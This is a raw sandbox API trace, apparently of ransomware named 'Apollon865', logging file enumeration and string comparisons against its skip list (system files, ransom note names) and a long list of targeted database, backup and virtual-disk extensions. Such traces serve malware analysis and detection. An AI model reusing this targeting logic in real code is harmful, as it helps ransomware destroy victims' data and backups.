	[0059.045] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.045] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0059.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.045] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.046] CloseHandle (hObject=0x154) returned 1
	[0059.046] CloseHandle (hObject=0x150) returned 1
	[0059.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0059.046] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".") returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="..") returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="windows") returned -1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="bootmgr") returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="temp") returned -1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="pagefile.sys") returned -1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="boot") returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="ids.txt") returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="ntuser.dat") returned 1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="perflogs") returned -1
	[0059.046] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="MSBuild") returned 1
	[0059.046] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0059.046] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned 83
	[0059.046] lstrcpyW (in: lpString1=0x119e68a, lpString2="OrangeCircles.jpg" | out: lpString1="OrangeCircles.jpg") returned="OrangeCircles.jpg"
	[0059.047] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0059.047] lstrlenW (lpString="Apollon865") returned 10
	[0059.047] lstrcmpiW (lpString1="ircles.jpg", lpString2="Apollon865") returned 1
	[0059.047] lstrlenW (lpString=".dll") returned 4
	[0059.047] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".dll") returned 1
	[0059.047] lstrlenW (lpString=".lnk") returned 4
	[0059.047] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".lnk") returned 1
	[0059.047] lstrlenW (lpString=".ini") returned 4
	[0059.047] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".ini") returned 1
	[0059.047] lstrlenW (lpString=".sys") returned 4
	[0059.047] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".sys") returned 1
	[0059.047] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0059.047] lstrlenW (lpString="bak") returned 3
	[0059.047] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0059.047] lstrlenW (lpString="ba_") returned 3
	[0059.047] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0059.047] lstrlenW (lpString="dbb") returned 3
	[0059.047] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0059.047] lstrlenW (lpString="vmdk") returned 4
	[0059.047] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0059.047] lstrlenW (lpString="rar") returned 3
	[0059.047] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0059.047] lstrlenW (lpString="zip") returned 3
	[0059.047] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0059.047] lstrlenW (lpString="tgz") returned 3
	[0059.047] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0059.047] lstrlenW (lpString="vbox") returned 4
	[0059.047] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0059.047] lstrlenW (lpString="vdi") returned 3
	[0059.047] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0059.047] lstrlenW (lpString="vhd") returned 3
	[0059.047] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0059.047] lstrlenW (lpString="vhdx") returned 4
	[0059.047] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0059.048] lstrlenW (lpString="avhd") returned 4
	[0059.048] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0059.048] lstrlenW (lpString="db") returned 2
	[0059.048] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0059.048] lstrlenW (lpString="db2") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0059.048] lstrlenW (lpString="db3") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0059.048] lstrlenW (lpString="dbf") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0059.048] lstrlenW (lpString="mdf") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0059.048] lstrlenW (lpString="mdb") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0059.048] lstrlenW (lpString="sql") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0059.048] lstrlenW (lpString="sqlite") returned 6
	[0059.048] lstrcmpiW (lpString1="es.jpg", lpString2="sqlite") returned -1
	[0059.048] lstrlenW (lpString="sqlite3") returned 7
	[0059.048] lstrcmpiW (lpString1="les.jpg", lpString2="sqlite3") returned -1
	[0059.048] lstrlenW (lpString="sqlitedb") returned 8
	[0059.048] lstrcmpiW (lpString1="cles.jpg", lpString2="sqlitedb") returned -1
	[0059.048] lstrlenW (lpString="xml") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0059.048] lstrlenW (lpString="$er") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0059.048] lstrlenW (lpString="4dd") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0059.048] lstrlenW (lpString="4dl") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0059.048] lstrlenW (lpString="^^^") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0059.048] lstrlenW (lpString="abs") returned 3
	[0059.048] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0059.048] lstrlenW (lpString="abx") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0059.049] lstrlenW (lpString="accdb") returned 5
	[0059.049] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0059.049] lstrlenW (lpString="accdc") returned 5
	[0059.049] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0059.049] lstrlenW (lpString="accde") returned 5
	[0059.049] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0059.049] lstrlenW (lpString="accdr") returned 5
	[0059.049] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0059.049] lstrlenW (lpString="accdt") returned 5
	[0059.049] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0059.049] lstrlenW (lpString="accdw") returned 5
	[0059.049] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0059.049] lstrlenW (lpString="accft") returned 5
	[0059.049] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0059.049] lstrlenW (lpString="adb") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.049] lstrlenW (lpString="adb") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.049] lstrlenW (lpString="ade") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0059.049] lstrlenW (lpString="adf") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0059.049] lstrlenW (lpString="adn") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0059.049] lstrlenW (lpString="adp") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0059.049] lstrlenW (lpString="alf") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0059.049] lstrlenW (lpString="ask") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0059.049] lstrlenW (lpString="btr") returned 3
	[0059.049] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0059.049] lstrlenW (lpString="cat") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0059.050] lstrlenW (lpString="cdb") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0059.050] lstrlenW (lpString="ckp") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0059.050] lstrlenW (lpString="cma") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0059.050] lstrlenW (lpString="cpd") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0059.050] lstrlenW (lpString="dacpac") returned 6
	[0059.050] lstrcmpiW (lpString1="es.jpg", lpString2="dacpac") returned 1
	[0059.050] lstrlenW (lpString="dad") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0059.050] lstrlenW (lpString="dadiagrams") returned 10
	[0059.050] lstrcmpiW (lpString1="ircles.jpg", lpString2="dadiagrams") returned 1
	[0059.050] lstrlenW (lpString="daschema") returned 8
	[0059.050] lstrcmpiW (lpString1="cles.jpg", lpString2="daschema") returned -1
	[0059.050] lstrlenW (lpString="db-journal") returned 10
	[0059.050] lstrcmpiW (lpString1="ircles.jpg", lpString2="db-journal") returned 1
	[0059.050] lstrlenW (lpString="db-shm") returned 6
	[0059.050] lstrcmpiW (lpString1="es.jpg", lpString2="db-shm") returned 1
	[0059.050] lstrlenW (lpString="db-wal") returned 6
	[0059.050] lstrcmpiW (lpString1="es.jpg", lpString2="db-wal") returned 1
	[0059.050] lstrlenW (lpString="dbc") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0059.050] lstrlenW (lpString="dbs") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0059.050] lstrlenW (lpString="dbt") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0059.050] lstrlenW (lpString="dbv") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0059.050] lstrlenW (lpString="dbx") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0059.050] lstrlenW (lpString="dcb") returned 3
	[0059.050] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0059.051] lstrlenW (lpString="dct") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0059.051] lstrlenW (lpString="dcx") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0059.051] lstrlenW (lpString="ddl") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0059.051] lstrlenW (lpString="dlis") returned 4
	[0059.051] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0059.051] lstrlenW (lpString="dp1") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0059.051] lstrlenW (lpString="dqy") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0059.051] lstrlenW (lpString="dsk") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0059.051] lstrlenW (lpString="dsn") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0059.051] lstrlenW (lpString="dtsx") returned 4
	[0059.051] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0059.051] lstrlenW (lpString="dxl") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0059.051] lstrlenW (lpString="eco") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0059.051] lstrlenW (lpString="ecx") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0059.051] lstrlenW (lpString="edb") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0059.051] lstrlenW (lpString="epim") returned 4
	[0059.051] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0059.051] lstrlenW (lpString="fcd") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0059.051] lstrlenW (lpString="fdb") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0059.051] lstrlenW (lpString="fic") returned 3
	[0059.051] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0059.051] lstrlenW (lpString="flexolibrary") returned 12
	[0059.052] lstrcmpiW (lpString1="eCircles.jpg", lpString2="flexolibrary") returned -1
	[0059.052] lstrlenW (lpString="fm5") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0059.052] lstrlenW (lpString="fmp") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0059.052] lstrlenW (lpString="fmp12") returned 5
	[0059.052] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0059.052] lstrlenW (lpString="fmpsl") returned 5
	[0059.052] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0059.052] lstrlenW (lpString="fol") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0059.052] lstrlenW (lpString="fp3") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0059.052] lstrlenW (lpString="fp4") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0059.052] lstrlenW (lpString="fp5") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0059.052] lstrlenW (lpString="fp7") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0059.052] lstrlenW (lpString="fpt") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0059.052] lstrlenW (lpString="frm") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0059.052] lstrlenW (lpString="gdb") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.052] lstrlenW (lpString="gdb") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.052] lstrlenW (lpString="grdb") returned 4
	[0059.052] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0059.052] lstrlenW (lpString="gwi") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0059.052] lstrlenW (lpString="hdb") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0059.052] lstrlenW (lpString="his") returned 3
	[0059.052] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0059.053] lstrlenW (lpString="ib") returned 2
	[0059.053] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0059.053] lstrlenW (lpString="idb") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0059.053] lstrlenW (lpString="ihx") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0059.053] lstrlenW (lpString="itdb") returned 4
	[0059.053] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0059.053] lstrlenW (lpString="itw") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0059.053] lstrlenW (lpString="jet") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0059.053] lstrlenW (lpString="jtx") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0059.053] lstrlenW (lpString="kdb") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0059.053] lstrlenW (lpString="kexi") returned 4
	[0059.053] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0059.053] lstrlenW (lpString="kexic") returned 5
	[0059.053] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0059.053] lstrlenW (lpString="kexis") returned 5
	[0059.053] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0059.053] lstrlenW (lpString="lgc") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0059.053] lstrlenW (lpString="lwx") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0059.053] lstrlenW (lpString="maf") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0059.053] lstrlenW (lpString="maq") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0059.053] lstrlenW (lpString="mar") returned 3
	[0059.053] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0059.053] lstrlenW (lpString="marshal") returned 7
	[0059.053] lstrcmpiW (lpString1="les.jpg", lpString2="marshal") returned -1
	[0059.054] lstrlenW (lpString="mas") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0059.054] lstrlenW (lpString="mav") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0059.054] lstrlenW (lpString="maw") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0059.054] lstrlenW (lpString="mdbhtml") returned 7
	[0059.054] lstrcmpiW (lpString1="les.jpg", lpString2="mdbhtml") returned -1
	[0059.054] lstrlenW (lpString="mdn") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0059.054] lstrlenW (lpString="mdt") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0059.054] lstrlenW (lpString="mfd") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0059.054] lstrlenW (lpString="mpd") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0059.054] lstrlenW (lpString="mrg") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0059.054] lstrlenW (lpString="mud") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0059.054] lstrlenW (lpString="mwb") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0059.054] lstrlenW (lpString="myd") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0059.054] lstrlenW (lpString="ndf") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0059.054] lstrlenW (lpString="nnt") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0059.054] lstrlenW (lpString="nrmlib") returned 6
	[0059.054] lstrcmpiW (lpString1="es.jpg", lpString2="nrmlib") returned -1
	[0059.054] lstrlenW (lpString="ns2") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0059.054] lstrlenW (lpString="ns3") returned 3
	[0059.054] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0059.055] lstrlenW (lpString="ns4") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0059.055] lstrlenW (lpString="nsf") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0059.055] lstrlenW (lpString="nv") returned 2
	[0059.055] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0059.055] lstrlenW (lpString="nv2") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0059.055] lstrlenW (lpString="nwdb") returned 4
	[0059.055] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0059.055] lstrlenW (lpString="nyf") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0059.055] lstrlenW (lpString="odb") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.055] lstrlenW (lpString="odb") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.055] lstrlenW (lpString="oqy") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0059.055] lstrlenW (lpString="ora") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0059.055] lstrlenW (lpString="orx") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0059.055] lstrlenW (lpString="owc") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0059.055] lstrlenW (lpString="p96") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0059.055] lstrlenW (lpString="p97") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0059.055] lstrlenW (lpString="pan") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0059.055] lstrlenW (lpString="pdb") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0059.055] lstrlenW (lpString="pdm") returned 3
	[0059.055] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0059.055] lstrlenW (lpString="pnz") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0059.056] lstrlenW (lpString="qry") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0059.056] lstrlenW (lpString="qvd") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0059.056] lstrlenW (lpString="rbf") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0059.056] lstrlenW (lpString="rctd") returned 4
	[0059.056] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0059.056] lstrlenW (lpString="rod") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0059.056] lstrlenW (lpString="rodx") returned 4
	[0059.056] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0059.056] lstrlenW (lpString="rpd") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0059.056] lstrlenW (lpString="rsd") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0059.056] lstrlenW (lpString="sas7bdat") returned 8
	[0059.056] lstrcmpiW (lpString1="cles.jpg", lpString2="sas7bdat") returned -1
	[0059.056] lstrlenW (lpString="sbf") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0059.056] lstrlenW (lpString="scx") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0059.056] lstrlenW (lpString="sdb") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0059.056] lstrlenW (lpString="sdc") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0059.056] lstrlenW (lpString="sdf") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0059.056] lstrlenW (lpString="sis") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0059.056] lstrlenW (lpString="spq") returned 3
	[0059.056] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0059.056] lstrlenW (lpString="te") returned 2
	[0059.056] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0059.057] lstrlenW (lpString="teacher") returned 7
	[0059.057] lstrcmpiW (lpString1="les.jpg", lpString2="teacher") returned -1
	[0059.057] lstrlenW (lpString="tmd") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0059.057] lstrlenW (lpString="tps") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0059.057] lstrlenW (lpString="trc") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.057] lstrlenW (lpString="trc") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.057] lstrlenW (lpString="trm") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0059.057] lstrlenW (lpString="udb") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0059.057] lstrlenW (lpString="udl") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0059.057] lstrlenW (lpString="usr") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0059.057] lstrlenW (lpString="v12") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0059.057] lstrlenW (lpString="vis") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0059.057] lstrlenW (lpString="vpd") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0059.057] lstrlenW (lpString="vvv") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0059.057] lstrlenW (lpString="wdb") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0059.057] lstrlenW (lpString="wmdb") returned 4
	[0059.057] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0059.057] lstrlenW (lpString="wrk") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0059.057] lstrlenW (lpString="xdb") returned 3
	[0059.057] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0059.058] lstrlenW (lpString="xld") returned 3
	[0059.058] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0059.058] lstrlenW (lpString="xmlff") returned 5
	[0059.058] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
